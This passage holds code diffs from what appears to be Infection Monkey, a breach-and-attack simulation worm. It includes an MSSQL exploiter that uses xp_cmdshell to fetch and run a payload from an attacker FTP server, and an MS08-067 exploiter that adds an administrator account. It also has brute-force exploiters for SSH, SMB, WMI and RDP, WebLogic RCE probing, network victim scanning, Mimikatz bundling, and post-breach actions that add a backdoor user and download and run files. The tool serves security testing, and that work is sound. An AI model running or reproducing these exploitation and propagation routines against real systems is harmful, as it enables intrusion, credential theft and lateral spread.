shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer'
@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(RdpExploiter, self).__init__(host)

View File

@ -7,6 +7,7 @@ from io import BytesIO
from os import path
import impacket.smbconnection
from impacket.nmb import NetBIOSError
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
@ -172,7 +173,7 @@ class SambaCryExploiter(HostExploiter):
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
except (impacket.smbconnection.SessionError, SessionError):
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
# If failed using some credentials, try others.
pass

View File

@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),

View File

@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer'
@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(SSHExploiter, self).__init__(host)

View File

@ -54,7 +54,7 @@ class WebRCE(HostExploiter):
exploit_config['upload_commands'] = None
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
exploit_config['url_extensions'] = None
exploit_config['url_extensions'] = []
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
exploit_config['stop_checking_urls'] = False

View File

@ -13,14 +13,17 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
REQUEST_TIMEOUT = 2
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE):
print(e)
return True
def check_if_exploitable(self, url):
def add_vulnerable_urls(self, urls, stop_checking=False):
"""
Overrides parent method to use listener server
"""
# Server might get response faster than it starts listening to it, we need a lock
httpd, lock = self._start_http_server()
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
exploitable = False
for url in urls:
if self.check_if_exploitable_weblogic(url, httpd):
exploitable = True
break
if not exploitable and httpd.get_requests < 1:
# Wait for responses
time.sleep(REQUEST_TIMEOUT)
if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls)
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
self._stop_http_server(httpd, lock)
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout:
# Our request does not get response thus we get ReadTimeout error
# Our request will not get response thus we get ReadTimeout error
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
self._stop_http_server(httpd, lock)
return httpd.get_requests > 0
def _start_http_server(self):
@ -94,7 +120,8 @@ class WebLogicExploiter(WebRCE):
lock.acquire()
return httpd, lock
def _stop_http_server(self, httpd, lock):
@staticmethod
def _stop_http_server(httpd, lock):
lock.release()
httpd.join(SERVER_TIMEOUT)
httpd.stop()
@ -168,8 +195,8 @@ class WebLogicExploiter(WebRCE):
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self._local_ip = local_ip
self._local_port = local_port
self.local_ip = local_ip
self.local_port = local_port
self.get_requests = 0
self.max_requests = max_requests
self._stopped = False
@ -184,7 +211,7 @@ class WebLogicExploiter(WebRCE):
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S)
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
self.lock.release()
while not self._stopped and self.get_requests < self.max_requests:

View File

@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
(self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add))
time.sleep(2)
reply = sock.recv(1000)
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
self._config.user_to_add,
self._config.remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False

View File

@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(WmiExploiter, self).__init__(host)

View File

@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
from infection_monkey.monkey import InfectionMonkey
import infection_monkey.post_breach # dummy import for pyinstaller
__author__ = 'itamar'
@ -21,7 +22,7 @@ LOG = None
LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False,
'formatters': {'standard': {
'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
},
'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG',

View File

@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
# CMD prefix for windows commands
CMD_PREFIX = "cmd.exe /c"
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"

View File

@ -2,8 +2,9 @@ __author__ = 'itamar'
class VictimHost(object):
def __init__(self, ip_addr):
def __init__(self, ip_addr, domain_name=''):
self.ip_addr = ip_addr
self.domain_name = str(domain_name)
self.os = {}
self.services = {}
self.monkey_exe = None

View File

@ -1,32 +0,0 @@
# -*- mode: python -*-
block_cipher = None
a = Analysis(['main.py'],
pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],
hookspath=None,
runtime_hooks=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='monkey',
debug=False,
strip=True,
upx=True,
console=True )

View File

@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_status_enum import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
__author__ = 'itamar'
@ -76,6 +79,9 @@ class InfectionMonkey(object):
LOG.info("Monkey couldn't find server. Going down.")
return
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
self._singleton.unlock()
@ -109,6 +115,12 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
PostBreach().execute()
if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -120,9 +132,6 @@ class InfectionMonkey(object):
ControlClient.keepalive()
ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize()
self._exploiters = WormConfiguration.exploiter_classes
@ -132,8 +141,7 @@ class InfectionMonkey(object):
if not self._keep_running or not WormConfiguration.alive:
break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
max_find=WormConfiguration.victims_max_find,
machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,
stop_callback=ControlClient.check_for_stop)
is_empty = True
for machine in machines:
@ -147,7 +155,7 @@ class InfectionMonkey(object):
finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
'scanner': WormConfiguration.scanner_class.__name__})
})
# skip machines that we've already exploited
if machine in self._exploited_machines:
@ -167,44 +175,19 @@ class InfectionMonkey(object):
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
successful_exploiter = None
# Order exploits according to their type
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
if successful_exploiter:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break
else:
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running:
break
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
time_to_sleep = WormConfiguration.timeout_between_iterations
@ -242,6 +225,7 @@ class InfectionMonkey(object):
self.send_log()
self._singleton.unlock()
utils.remove_monkey_dir()
InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@ -279,3 +263,50 @@ class InfectionMonkey(object):
log = ''
ControlClient.send_log(log)
def try_exploiting(self, machine, exploiter):
"""
Workflow of exploiting one machine with one exploiter
:param machine: Machine monkey tries to exploit
:param exploiter: Exploiter to use on that machine
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
return False
def successfully_exploited(self, machine, exploiter):
"""
Workflow of registering successfully exploited machine
:param machine: machine that was exploited
:param exploiter: exploiter that succeeded
"""
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)

View File

@ -2,39 +2,120 @@
import os
import platform
__author__ = 'itay.mizeretz'
block_cipher = None
# Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
runtime_hooks=None,
binaries=None,
datas=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher
)
a.binaries += get_binaries()
a.datas = process_datas(a.datas)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name=get_monkey_filename(),
debug=False,
strip=get_exe_strip(),
upx=True,
console=True,
icon=get_exe_icon())
def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return platform.architecture()[0] == "32bit"
def get_bin_folder():
return os.path.join('.', 'bin')
def get_bin_file_path(filename):
return os.path.join(get_bin_folder(), filename)
def process_datas(orig_datas):
datas = orig_datas
if is_windows():
datas = [i for i in datas if i[0].find('Include') < 0]
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
return datas
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
binaries += get_traceroute_binaries()
return binaries
def get_hidden_imports():
return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql']
def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
def get_monkey_filename():
return 'monkey.exe' if is_windows() else 'monkey'
def get_exe_strip():
return not is_windows()
def get_exe_icon():
return 'monkey.ico' if is_windows() else None
def get_mimikatz_zip_path():
if platform.architecture()[0] == "32bit":
return '.\\bin\\mk32.zip'
else:
return '.\\bin\\mk64.zip'
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
return os.path.join(get_bin_folder(), mk_filename)
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles,
a.datas,
name='monkey.exe',
debug=False,
strip=None,
upx=True,
console=True,
icon='monkey.ico')
main() # We don't check if __main__ because this isn't the main script.

View File

@ -6,6 +6,7 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner
from infection_monkey.network import TcpScanner, PingScanner
__author__ = 'itamar'
@ -62,7 +63,7 @@ class NetworkScanner(object):
return subnets_to_scan
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
def get_victim_machines(self, max_find=5, stop_callback=None):
"""
Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
@ -70,16 +71,18 @@ class NetworkScanner(object):
:param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances
"""
if not scan_type:
return
scanner = scan_type()
TCPscan = TcpScanner()
Pinger = PingScanner()
victims_count = 0
for net_range in self._ranges:
LOG.debug("Scanning for potential victims in the network %r", net_range)
for ip_addr in net_range:
victim = VictimHost(ip_addr)
if hasattr(net_range, 'domain_name'):
victim = VictimHost(ip_addr, net_range.domain_name)
else:
victim = VictimHost(ip_addr)
if stop_callback and stop_callback():
LOG.debug("Got stop signal")
break
@ -94,9 +97,11 @@ class NetworkScanner(object):
continue
LOG.debug("Scanning %r...", victim)
pingAlive = Pinger.is_host_alive(victim)
tcpAlive = TCPscan.is_host_alive(victim)
# if scanner detect machine is up, add it to victims list
if scanner.is_host_alive(victim):
if pingAlive or tcpAlive:
LOG.debug("Found potential victim: %r", victim)
victims_count += 1
yield victim
@ -106,8 +111,9 @@ class NetworkScanner(object):
break
if SCAN_DELAY:
time.sleep(SCAN_DELAY)
if WormConfiguration.tcp_scan_interval:
# time.sleep uses seconds, while config is in milliseconds
time.sleep(WormConfiguration.tcp_scan_interval/float(1000))
@staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str):

View File

@ -59,9 +59,9 @@ class PingScanner(HostScanner, HostFinger):
if regex_result:
try:
ttl = int(regex_result.group(0))
if LINUX_TTL == ttl:
if ttl <= LINUX_TTL:
host.os['type'] = 'linux'
elif WINDOWS_TTL == ttl:
else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
host.os['type'] = 'windows'
return True
except Exception as exc:

View File

@ -9,9 +9,13 @@ import re
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5
@ -175,9 +179,10 @@ def tcp_port_to_service(port):
return 'tcp-' + str(port)
def traceroute(target_ip, ttl):
def traceroute(target_ip, ttl=64):
"""
Traceroute for a specific IP/name.
Note, may throw exception on failure that should be handled by caller.
:param target_ip: IP/name of target
:param ttl: Max TTL
:return: Sequence of IPs in the way
@ -188,6 +193,53 @@ def traceroute(target_ip, ttl):
return _traceroute_linux(target_ip, ttl)
def _get_traceroute_bin_path():
"""
Gets the path to the prebuilt traceroute executable
This is the traceroute utility from: http://traceroute.sourceforge.net
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
:return: Path to traceroute executable
"""
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
def _parse_traceroute(output, regex, ttl):
"""
Parses the output of traceroute (from either Linux or Windows)
:param output: The output of the traceroute
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
"""
ip_lines = output.split('\n')
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(regex, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_windows(target_ip, ttl):
"""
Traceroute for a specific IP/name - Windows implementation
@ -200,59 +252,22 @@ def _traceroute_windows(target_ip, ttl):
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ip_lines = stdout.split('\r\n')
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(IP_ADDR_RE, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
stdout = stdout.replace('\r', '')
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
def _traceroute_linux(target_ip, ttl):
"""
Traceroute for a specific IP/name - Linux implementation
"""
# implementation note: We're currently going to just use ping.
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
# while this is just ugly
# we can't use traceroute because it's not always installed
current_ttl = 1
trace_list = []
while current_ttl <= ttl:
cli = ["ping",
"-c", "1",
"-w", "1",
"-t", str(current_ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ips = re.findall(IP_ADDR_RE, stdout)
if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable.
return []
elif ips[-1] in trace_list: # Failed getting this hop
trace_list.append(None)
else:
trace_list.append(ips[-1])
dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings
if dest_ip == ips[-1]:
break
cli = [_get_traceroute_bin_path(),
"-m", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
current_ttl += 1
return trace_list
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
lines = [x[1:-1] if x else None # Removes parenthesis
for x in lines]
return lines

View File

@ -0,0 +1,4 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,52 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
try:
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
except OSError:
LOG.exception("Exception while adding a user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -0,0 +1,68 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
